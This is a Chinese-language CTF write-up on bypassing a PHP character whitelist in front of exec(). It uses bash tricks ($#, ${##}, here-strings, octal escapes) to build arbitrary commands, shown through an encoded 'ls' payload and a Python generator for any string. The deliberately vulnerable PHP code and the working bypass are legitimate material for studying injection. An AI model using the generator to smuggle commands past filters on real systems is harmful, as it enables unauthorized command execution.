较少的字符构造命令执行的一种方法

参考文章:

Web-Bash-Vino0o0o

34c3 CTF minbashmaxfun writeup. TL;DR | by Ori Kadosh | Medium

安洵杯的Bash

开题得到源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
if(isset($_POST["cmd"]))
{
$test = $_POST['cmd'];
$white_list = str_split('${#}\\(<)\'0');
$char_list = str_split($test);
foreach($char_list as $c){
if(!in_array($c,$white_list)){
die("Cyzcc");
}
}
exec($test);
}
?>

跑一下,只能用这些东西

Our Arsenal

We have quite a few tools at our disposal which we use in our solution, so let’s start by explaining them:

1
2
3
4
5
6
7
$# - number of arguments -  (evaluates to 0)
${##} - count variable (#) length - (evaluates to 1)
$((expr)) - arithmetic expression
<<< - here string
${!var} - indirect expansion
$'\123' - convert octal to a character in string literal
{a,b} - curly brace expansion

That’s the basis, and we build upon this like so:

1
2
3
$((${##}<<${##})) - 1 left shift by 1, evaluates to 2
${!#} - executes bash (as the first argument is /bin/bash)
$((2#1000001)) - convert binary to decimal. 2, 1 and 0 are forbidden and will be replaced

我们可以得到0、1、2那么,通过二进制的转化,我们基本就可以得到我们需要的所有的数字了,之后利用<<<重定向,就可以得到我们需要的字符了。

例如:ls

1
$0<<<$0\<\<\<\$\'\\${##}$(($((${##}<<${##}))#${##}0${##}))$((${##}<<$((${##}<<${##}))))\\${##}$(($((${##}<<${##}))#${##}${##}0))$(($((${##}<<${##}))#${##}${##}))\\$((${##}<<$((${##}<<${##}))))0\\$(($((${##}<<${##}))#${##}0${##}))$(($((${##}<<${##}))#${##}${##}${##}))\'

写一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def octal_to_binary(octal_str):
binary_str = bin(int(octal_str))
return binary_str

def binary_to_custom(binary_str):
custom_str = ''.join('${##}' if bit == '1' else '$#' for bit in binary_str)
return custom_str

def convert_char_to_custom_format(char):
octal_val = format(ord(char), '03o')
binary_val = octal_to_binary(octal_val)
custom_binary = binary_to_custom(binary_val)
arithmetic_expansion = "$(($((${{##}}<<${{##}}))#{}))".format(custom_binary)
return arithmetic_expansion

def convert_string(input_string):
result = ""
for char in input_string:
result += "\\\\"+convert_char_to_custom_format(char)
return result

input_string = input("请输入要转换的字符串: ")

converted_string = "$0<<<$0\\<\\<\\<\\$\\\'"+convert_string(input_string)+"\\\'"
print(converted_string)